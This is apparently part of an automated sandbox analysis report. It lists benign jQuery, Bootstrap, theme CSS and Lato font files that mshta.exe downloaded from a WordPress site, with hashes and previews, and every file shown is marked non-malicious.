                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3
                                                                                      Preview:jQuery.easing.jswing=jQuery.easing.swing;.jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,a,c,b,d){return jQuery.easing[jQuery.easing.def](e,a,c,b,d)},easeInQuad:function(e,a,c,b,d){return b*(a/=d)*a+c},easeOutQuad:function(e,a,c,b,d){return-b*(a/=d)*(a-2)+c},easeInOutQuad:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a+c:-b/2*(--a*(a-2)-1)+c},easeInCubic:function(e,a,c,b,d){return b*(a/=d)*a*a+c},easeOutCubic:function(e,a,c,b,d){return b*((a=a/d-1)*a*a+1)+c},easeInOutCubic:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a*a+c:.b/2*((a-=2)*a*a+2)+c},easeInQuart:function(e,a,c,b,d){return b*(a/=d)*a*a*a+c},easeOutQuart:function(e,a,c,b,d){return-b*((a=a/d-1)*a*a*a-1)+c},easeInOutQuart:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a*a*a+c:-b/2*((a-=2)*a*a*a-2)+c},easeInQuint:function(e,a,c,b,d){return b*(a/=d)*a*a*a*a+c},easeOutQuint:function(e,a,c,b,d){return b*((a=a/d-1)*a*a*a*a+1)+c},easeInOutQuint:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a*a*a*a+c:b/2*((a-=2)*a*a*a*a+2)+c}

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\jquery.elastislide[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):6240
                                                                                      Entropy (8bit):5.090536443525485
                                                                                      Encrypted:false
                                                                                      SSDEEP:96:zFWtrmc8bxAo69U8Rb93DCb/f+jrJ6Xj/vBQ61:LW3xgYMn/
                                                                                      MD5:EAC02BD7783EDAB0F1A0DBEBB32AA8A7
                                                                                      SHA1:D8D25DFF1DA53BE5A8D200D0BA59944C1FA7281D
                                                                                      SHA-256:DADD36769DECA1A3720B875DE9624093AE6623DAEBFC5A13061E129C61DFEA24
                                                                                      SHA-512:D1DD6D2F1CDB7EEEAA3396578038448A2337AB0EFACF884E624D459F1E9870A709C9A18D576327C62DEABB8363C643ED302E3CA4FAC3EAD2C7C82713E58F663B
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1
                                                                                      Preview:(function(j,c,l){c.fn.touchwipe=function(a){var b={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:!0};a&&c.extend(b,a);this.each(function(){function a(){this.removeEventListener("touchmove",c);d=null;k=!1}function c(h){b.preventDefaultEvents&&h.preventDefault();if(k){var f=d-h.touches[0].pageX;h=e-h.touches[0].pageY;Math.abs(f)>=b.min_move_x?(a(),0<f?b.wipeLeft():b.wipeRight()):Math.abs(h)>=b.min_move_y&&(a(),.0<h?b.wipeDown():b.wipeUp())}}function f(a){1==a.touches.length&&(d=a.touches[0].pageX,e=a.touches[0].pageY,k=!0,this.addEventListener("touchmove",c,!1))}var d,e,k=!1;"ontouchstart"in document.documentElement&&this.addEventListener("touchstart",f,!1)});return this};c.elastislide=function(a,b){this.$el=c(b);this._init(a)};c.elastislide.defaults={speed:450,easing:"easeOutBack",imageW:190,margin:3,border:2,minItems:1,current:0,onClick:function(){return!1}};c.elastislide.prototype={_init:function

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\jquery.mousewheel.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):1392
                                                                                      Entropy (8bit):5.304639490555412
                                                                                      Encrypted:false
                                                                                      SSDEEP:24:JNFww5yF1TY6APXYBfQJbHLcIYADqfIO0hz7aUIONhM7v9O9BK8:JbCsPXYBfQuIIkhzGUdhMLYLK8
                                                                                      MD5:25DB04E9DAEE1C00F6CA337537C32C01
                                                                                      SHA1:CC1D92C5536C9B2DD766B6EDDC0C8BA8CF831438
                                                                                      SHA-256:C8104390115F92B27003B1E4E503EF59343CCFEF4AC19751093544E8CFAEAE26
                                                                                      SHA-512:F5BCA70968AB8D030218485A4417E2AF39621F7E7DF150C9BCA84281801CA5A43B55759844D677626A5FF53BAD4C049C995E0DB72CB4B549766628718DE9E518
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6
                                                                                      Preview:/*! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net). * Licensed under the MIT License (LICENSE.txt).. *. * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.. * Thanks to: Seamus Leahy for adding deltaX and deltaY. *. * Version: 3.0.6. * . * Requires: 1.2.2+. */.(function(a){function d(b){var c=b||window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1*e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch||a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){if(this.addEventListener)f

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\owl.theme[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):1664
                                                                                      Entropy (8bit):5.223754054665017
                                                                                      Encrypted:false
                                                                                      SSDEEP:24:8rpEA98FvWxsEFgbZl4ulFZlnG1GoRVWX1GaDtGqvWf+KHK2ld1GKZXugZM5+iTk:8PG0+EFgPeAGfBw5JX0kg9
                                                                                      MD5:FE31A99F51A65EC2A31AD4B63702C93D
                                                                                      SHA1:1BA10A799FBD399D03E9AD2C71431C89ABBC4F32
                                                                                      SHA-256:8F8439F41DD768871BDE30FCEB034A6DE5A50945A564658A60A06B23CB5D039A
                                                                                      SHA-512:0346796A91A74B470D6C44536A685D8F8E7C154163A60CF001EC15CDD80A71B43ED270112575E584974F8274FDB4200E2A3EBF92DA8A8F9ACC1438BD3495446F
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24
                                                                                      Preview:/*.* .Owl Carousel Owl Demo Theme .*.v1.24.*/...owl-theme .owl-controls{..margin-top: 10px;..text-align: center;.}../* Styling Next and Prev buttons */...owl-theme .owl-controls .owl-buttons div{..color: #FFF;..display: inline-block;..zoom: 1;..*display: inline;/*IE7 life-saver */..margin: 5px;..padding: 3px 10px;..font-size: 12px;..-webkit-border-radius: 30px;..-moz-border-radius: 30px;..border-radius: 30px;..background: #869791;..filter: Alpha(Opacity=50);/*IE7 fix*/..opacity: 0.5;.}./* Clickable class fix problem with hover on touch devices */./* Use it for non-touch hover action */..owl-theme .owl-controls.clickable .owl-buttons div:hover{..filter: Alpha(Opacity=100);/*IE7 fix*/..opacity: 1;..text-decoration: none;.}../* Styling Pagination*/...owl-theme .owl-controls .owl-page{..display: inline-block;..zoom: 1;..*display: inline;/*IE7 life-saver */.}..owl-theme .owl-controls .owl-page span{..display: block;..width: 12px;..height: 12px;..margin: 5px 7px;..filter: Alpha(Opacity=50);/

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\responsive[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):21945
                                                                                      Entropy (8bit):4.998283618348646
                                                                                      Encrypted:false
                                                                                      SSDEEP:384:vDi+XnHtUrZKt+uSmu+c30r8SGCxGfGYb/0EUN0QT0z8lFLiFHM:LiOnHtUrZKtqOI0ISGCxGfGYb/0Ery0C
                                                                                      MD5:56879E9EF909D5CF8DEF84297B5AC6B4
                                                                                      SHA1:097D5726A7053C1E9E20FCFE6FFA771F2D6DE573
                                                                                      SHA-256:8A1D0F12B448B5065CBE1E76F5D2DF0364E9E9A2CAE98E9419215CAD62FB1892
                                                                                      SHA-512:E7ACA508BE1EB31411887C3DD64ABBC47AB39C3C217E924D89245A084404AF350C2B6693721BD06CF9CCF8DE263189BC2C80FD1C1E86A8D10147FBC27FF7770B
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css
                                                                                      Preview:/*!. * Bootstrap Responsive v2.3.0. *. * Copyright 2012 Twitter, Inc. * Licensed under the Apache License v2.0. * http://www.apache.org/licenses/LICENSE-2.0. *. * Designed and built with all the love in the world @twitter by @mdo and @fat.. */..clearfix {. *zoom: 1;.}..clearfix:before,..clearfix:after {. display: table;. content: "";. line-height: 0;.}..clearfix:after {. clear: both;.}..hide-text {. font: 0/0 a;. color: transparent;. text-shadow: none;. background-color: transparent;. border: 0;.}..input-block-level {. display: block;. width: 100%;. min-height: 30px;. -webkit-box-sizing: border-box;. -moz-box-sizing: border-box;. box-sizing: border-box;.}.@-ms-viewport {. width: device-width;.}..hidden {. display: none;. visibility: hidden;.}..visible-phone {. display: none !important;.}..visible-tablet {. display: none !important;.}..hidden-desktop {. display: none !important;.}..visible-desktop {. display: inherit !important;.}.@media (min-width: 768px) and (ma

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\style[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):523
                                                                                      Entropy (8bit):4.974103937872525
                                                                                      Encrypted:false
                                                                                      SSDEEP:12:UunKwXaF3fnVnDF1XHXaF3ZXm6FgJF+pCGdj+YzWIhXCqrI5kgO0x:1KwSPDtSkQDCujIRD5kp0x
                                                                                      MD5:725008F7D019079BD5FDF435862F0AF5
                                                                                      SHA1:0DC4AF129ECEAEE15B583F6F458AD7BD74988C4D
                                                                                      SHA-256:5239B049D3CE0714FAF43DBDB19E1D8ADC0722AC05962AAA73215A9F4D87E8D0
                                                                                      SHA-512:EA73CD39491E07FA099CE2508575447B0120DD919CCEEF4AEB831D064F75480BFF20C6F866E6075E25DE5A35526AAB1FC8E7ED069F7B5FF999DF3EC8D28F1BDA
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/style.css
                                                                                      Preview:/*..Theme Name: cherry..Theme URI: //info.template-help.com/help/..Description: A theme for Wordpress 3.8.x..Author: Template_Help.com..Author URI: //info.template-help.com/help/..Version: 3.1.5.1..Tags: dark, light, white, black, gray, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-menu, editor-style, featured-images, full-width-template, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready..License:..License URI: http://..Text Domain: cherry.*/.@import "css/style.css";.

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\warning[1]

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:GIF image data, version 89a, 36 x 38
                                                                                      Category:downloaded
                                                                                      Size (bytes):1062
                                                                                      Entropy (8bit):4.517838839626174
                                                                                      Encrypted:false
                                                                                      SSDEEP:12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
                                                                                      MD5:124A9E7B6976F7570134B7034EE28D2B
                                                                                      SHA1:E889BFC2A2E57491016B05DB966FC6297A174F55
                                                                                      SHA-256:5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
                                                                                      SHA-512:EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
                                                                                      Malicious:false
                                                                                      IE Cache URL:res://ieframe.dll/warning.gif
                                                                                      Preview:GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\wp-emoji-release.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):11943
                                                                                      Entropy (8bit):5.096253847639827
                                                                                      Encrypted:false
                                                                                      SSDEEP:192:WuKiKqdccoXJW+TJr3J//bEvAbWXXR6AooHyrOUVsbEJEoesM0m3dJXWP/2//:0qlkJW+TJr3J//bEI+XgA5UCOeffJmW3
                                                                                      MD5:FE0575B66568074463F12485D90F6D4C
                                                                                      SHA1:AEEDD9AB3B7874E63F647042963CB1301A38B391
                                                                                      SHA-256:647A6B36F3FD1F21BAE171270111096B4613C23A47E6621628A51BAE9C82B0B7
                                                                                      SHA-512:0D209CBC9550CFCF49CA7CA5A1243E1578C0A42F9FB28C1FA8D353CEA26F24EED282547F47FE858126E1BA9A4AA4D8DDBD2CBDEF9DB5A45F24CFBFD6383BFF9E
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
                                                                                      Preview:// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return a(d);return a(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u||(u={callback:u});return("string"==typeof d?function(d,t){return o(d,function(d){var u,f,e=d,c=x(d),a=t.callback(c,t);if(a){for(f in e="<img ".concat('class="',t.className,'" ','draggable="false" ','alt="',d,'"',' src="',a,'"'),u=t.attributes(d,c))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===e.indexOf(" "+f+"=")&&(e=e.concat(" ",f,'="',u[f].replace(n,r),'"'));e=e.concat("/>")}return e})}:function(d,u){var f,e,c,a,t,n,r,b,o,i,s,l=function d(u,f){var e,c,a=u.childNodes,t=a.length;for(;t--;)e=a[t],3===(c=e.nodeType)?f.push(e):1!==c||"ownerSV

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\S6u8w4BMUTPHh30AXC-u[1].eot

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:Embedded OpenType (EOT), Lato Hairline family
                                                                                      Category:downloaded
                                                                                      Size (bytes):21906
                                                                                      Entropy (8bit):7.967838538437944
                                                                                      Encrypted:false
                                                                                      SSDEEP:384:VFJHGuN6qSpebL2RIS+Xv4nRE0661wyGSD37OhAVT/VJqVL89X:VFTEqFbCOS+/cz1wyRD3+u/zqd8d
                                                                                      MD5:AC3C05998D9A3A94292ADB42CA4402D0
                                                                                      SHA1:F15C88C7820DACCFA39D9007E7BF98652D2DAA2C
                                                                                      SHA-256:C27571B00544786FF1223F04E4254433CECB80A49DDC1605968FB8ED0FB2E46B
                                                                                      SHA-512:30F0F74DB92E2D943D8994E6ED8E9E54CA47861AFCBC612D0002E4C97C0FF83E395FC258DC4C649283F9F8EF49A167A29BB4AC3840D0D7E072C4CCCF408119A3
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot
                                                                                      Preview:.U...T............................LP'...J.............. ....@..y....................L.a.t.o. .H.a.i.r.l.i.n.e.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o.-.H.a.i.r.l.i.n.e.....BSGP...................`.=..>..50....`.W.hKr{z~"U:b,/.ezS..........-A.RC...x....E.57z.....%)..;".I^...s..N......!....*.-..m."....Yb..qrS.a..N..B....~......m..X._.^.V.".2...3Q..qM.nl....U.7..M.D..j..9..C..]..X...L'.s..:...[.b....x>...6.5}_.;.......v...s.`.......E....&.nV..M.(iy..Mi1...(q...........s..L.H.'y..O..CL..y......S...E.#@.l..............X.....A....0".Ju./..#.......]....5o8I..|.A...$...Q.qmE.m.q..@.Y...x..J4.$$.. ?...D...g.z..\fq...(o;LX.`U......J2Q..i..1....9......u....L.mSn.......t...d....).....[L7.0.}.A..E.m.P..F.i'h..........0..Z\...1.{.y..i..**...M@..M.6...h.ha`.`....!.H...K..y._.........t-..C..w.......Zi..P...\.<K...z4Q..\.....:jcU.......F.6.n.......F.>0@.a@.@.........|.d=...Re..sG..=.= ....X@..G...p;...

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\S6u9w4BMUTPHh50XSwiPHQ[1].eot

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:Embedded OpenType (EOT), Lato Black family
                                                                                      Category:downloaded
                                                                                      Size (bytes):25451
                                                                                      Entropy (8bit):7.969770648296379
                                                                                      Encrypted:false
                                                                                      SSDEEP:768:HoV31fm0ipzey9jR/tzFC+THGz4x8SJG2Xeog:HoVFuNP/3CdSLOt
                                                                                      MD5:0AD19DEC4DE4F225CBF95946B07F03F0
                                                                                      SHA1:4ED5339BEAA5683AEAE65BB1E4B48A877EDDBB65
                                                                                      SHA-256:9D42496620626D2D3AC3022B36A1671BEE2F23B86A147440C92316380FB30BBD
                                                                                      SHA-512:22A7EC99DD4068291486B54832B895BD0766E5710DC0622FBF0A2FA3A2EB98EF12AB1B37210CAD603DF4709719E051D91F1ACCE17B9DC20E72C410AAE3A7D346
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot
                                                                                      Preview:kc..mb............................LP'...J.............. .....7.n....................L.a.t.o. .B.l.a.c.k.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .B.l.a.c.k.....BSGP.....................A^.G>.3........ZB....D...X,S..O...G.cu.b.>Nj....l.\t.bcA.85..N.~.X...l..%HL...a.EY.I.....zF........m.V..O.....x#E...:..T[q;Q....}.@`>..... cu)...4Y.9/.....:.._....d....-.9....NSe...NF.Q.5.(<,..C..F...>..~..p...t.....2.|5..p.c_.(B...H..*%........Ma.3Y..4$o...l .....@6...6.].]....... ......4@..t.B!.2.-.O...&.y.v.....4J@.E...TDCr..)..U..V..%.%.5.....7E.m_x"..<T...Il..O.%Q...x.5......]..fB.< .H..0h`......y..\.y.Q..&...O.........vs......t...|.GS0...H.:..].t.u....*..9..LBfb&&..A..L},..P.cOy...B.O%..H..UX<X=X>PCPk...H.Q..!T".A..4/\b..7..!...........W.|E...n...w0v....j;.....?<..w.Q.r.$$x......oy..O9...^...g@..r....9....vCr..v....m....MPOo..,"..(.E.f...?..d.M..hT.P.u..`d8_#....&.}...|k...>e...*;>1.O.$.P{..ao.

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\S6u9w4BMUTPHh6UVSwiPHQ[1].eot

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:Embedded OpenType (EOT), Lato family
                                                                                      Category:downloaded
                                                                                      Size (bytes):26118
                                                                                      Entropy (8bit):7.970184406626934
                                                                                      Encrypted:false
                                                                                      SSDEEP:768:Il7bajNBleEzCTFhEctniWorQDzlIgJg4Qf06Fzq1qZ:IsjNe2SjtLor6lTcf0yzIqZ
                                                                                      MD5:57425A0BD70ABEC6F5FD38D3B2507E89
                                                                                      SHA1:6F7576213E3FCC093C38C96DB22EC701A1E6EAAA
                                                                                      SHA-256:AB98070851F53310219E56128C117B5BA13BC63B822637B1B1103277C1E3010C
                                                                                      SHA-512:6AC3F2676A83839DCEE79D501ABDE1FF4F04D818654489A949172800406E5F9034085C861BB4EB734F92478F870C795640C32D087FBCD3F9E25984B30E3A6FE4
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot
                                                                                      Preview:.f...e............................LP'...J.............. ....Z.i.....................L.a.t.o.....B.o.l.d...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .B.o.l.d.....BSGP.....................C..I..4........ZB....D...X,S..O.......l.i...@.`..#....OjOz.....@....Y%hC..9......A..h...0..uH....n-)5.u[....W.u.....EE..j5.0.g......j'[.~.2Nv..le.'V.o.r........P}....c.....J.J.......j.2...>...(.*J.:g..W..Q..X...f..).>........./(.%.7(.".......f1.....v9......O4...@..].Kv..'.>......&H.c...0>..9#...}....I+#W....".%p&.Yr.I5.............S..,$...&m.&1. ..!..U..^Y.0413l.9 .Q.........{Csw....f....X.P'.....R216...=E.g.7..T..5..m.>c....C.O.}C.X.../y\.$ ......4.......u.R......R.+..G.S.I.I.*.D&....b....+.o....[@.#n.4.<.D....$a....y.+....A.K.rF.....`.\.Z.AQG.@mD.......'|.........80...c..a..5.{..Y8......9.q".!.....R<v...g3....B.T.]>.....#...x...0..<..D.._.=...t.:8....G]..;L...\q.F.C..f._.@..9g..kp...:N.HB..B..}.%..R..T%[.$z

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\S6u9w4BMUTPHh7USSwiPHQ[1].eot

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:Embedded OpenType (EOT), Lato Light family
                                                                                      Category:downloaded
                                                                                      Size (bytes):24456
                                                                                      Entropy (8bit):7.962811770770542
                                                                                      Encrypted:false
                                                                                      SSDEEP:384:rD2u7JY1e7uWKgCWOv1x21IA3qjRD7yKbev6YyNPpEaQsclWZaXVCqDoH9Hjl9uL:NuW3vOv1sk1DWKC6YyeH9FVCVHJYpTIc
                                                                                      MD5:D07A3DF5EB89A8BBEA764021336FC851
                                                                                      SHA1:4168D287AB866CC21F47FC5DCF62B6871DFB210D
                                                                                      SHA-256:79AD628A22C9AA1A8D30C9F5920D7F432F51804B9750BFE907C3A10D46CDB445
                                                                                      SHA-512:BA7378D7DBA3C8BBAD610BAAE431339D121B0FE4B2876A1A1E87D9837053F6AC006490B959798B304BA6A96893D0250510FB077D556D2BCA056EE81A2A8970EB
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot
                                                                                      Preview:._...^......................,.....LP'...J.............. ......N.....................L.a.t.o. .L.i.g.h.t.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o.-.L.i.g.h.t.....BSGP...................?.@..A..2~....`.W.hKr{z~"U:b,/.ezS..........-A.RC...x....E.57z.....%)..nE.'.....`!a........*.,~.[A.p2..X.8.\..XO.r*..F. N..k..P.[..]ooQ. ...zeX.....q....%4...nR....z.f.L.~6C.c...!..~Wi..V....z....h.......Z.*...&..MOx.N...6....twP,y3....;.b...I..mR.8..........f....9Z$..^....._..'...K..P%.Qz:..A..].....U..l.Z.ci}0.|. ."'`.<............0x..i..h...Ra.....h.V.v..../C"M..DH. .>.D..J.....U.....c....)"....X..$..0o..?#..a.ep..f..#L.f..F[B.R...!.n..l.4..y..<...1..}..4....F..v.y7..9...<.A.=..>..n3#.`}@j...D.b.....U.r........."....8.9.I......L...t.4....f.&...;D.....u0W.U..^Cy..>..Q..#.OQ[Xn..6...?U.FY....m...)K.AE.(8."...j...^...B....kc]....b.'..;A..v........U.9%.........r.....h..k..K..G..)..^..OwV>!=.w.H....`.v+(

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\S6uyw4BMUTPHjx4wWg[1].eot

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:Embedded OpenType (EOT), Lato family
                                                                                      Category:downloaded
                                                                                      Size (bytes):26669
                                                                                      Entropy (8bit):7.969873501177376
                                                                                      Encrypted:false
                                                                                      SSDEEP:384:3o0KhHhcVoBbXSW9jDQfwYejcrqTGOBnhwHAVKnn5DwVGUDucy6RormfvtZk+:YP2Ob/DowqrMnhwHZntuHRy62rmf8+
                                                                                      MD5:F0AA40EA96D1920A1A96329B4A35EDED
                                                                                      SHA1:31E6A2EAF78903F0487F2DB6319D7A8E5186C218
                                                                                      SHA-256:E745A8D2C87907FEE0267896B226BCAD1A2634A8C6826BC284F06875B14F0E60
                                                                                      SHA-512:B22522660F8C966675003E592DE0A7338BB08E68456BBDF661FFAEC3CB9B33D71C63C870C30A0177A32AA2E1EF5014DF27F57D67AB21690D36FB0FF360722680
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot
                                                                                      Preview:-h..7g............................LP'...J.............. ......>.....................L.a.t.o.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .R.e.g.u.l.a.r.....BSGP.....................B..H..3........ZB....D...X,S..O...G.cu.b.>Nj....l.\t.bcA.85..N.~.X...d..%HL...a.EY.I....QL...,.#0...m.V.E)...L7.E)......T[t;T.... 0.\y.b{l.d..Jplc.,.....*..9...K..}.Q..|..W...3.q..rt..G#W....q....&.V_.bh.ql..z[.>....,. ......1.AfE.....q.2.e...d.....+o>....)..1f..2.~.|.../.."..k0.).......Bzj"&~.J..pF1V3......Q..&R..H...O`..Z*.n.a.h@.e.Z.,<Ex./......%..#C....##...&. ..ub...{..x.h.TA.....0OA:.8....E...}...H...ZN.f...s..g&..~y.Q;9......;.X..S...x..g..I.O.JX.k............!...h_...........Q. .\L.^.f.n.t.|.Y..j)..G..{.....`.V..ZM.b.+.v-..X.XMQ......A.../..C....N......4Xi..a..e...v..?......=..4O......Og.S`.W.&..w.>...>.....Hu.......5....."...........r.._..M:.k...q..O9....Fy.2.1...y)..[.F4.d~.........0./...^L

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\bootstrap-grid.min[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines, with no line terminators
                                                                                      Category:downloaded
                                                                                      Size (bytes):15140
                                                                                      Entropy (8bit):5.208958193254912
                                                                                      Encrypted:false
                                                                                      SSDEEP:384:R8xYxpW3Jzw4g0mCZuUwG8Su9uteW5GF1Eh:R8expW3JzwbCUUC3GGf2
                                                                                      MD5:C3AFA9C619C14F0C3B0CA0BB13F12BD9
                                                                                      SHA1:F3A2FE1CD8A2A51B7EBFE402D983DC7F16DBA5AA
                                                                                      SHA-256:DE56C5F70EA565FDC866ADE91C95AB84151F55E030F861B3509141B24FD54733
                                                                                      SHA-512:74B50CA4FC1D2EB7E6855036CEC9E86ECCA75BF8E05A965D5424B14551F4EC1969A3F94327E8042A48F2EF826D0F27166ACD1479D3105B814325708B4222FBB6
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8
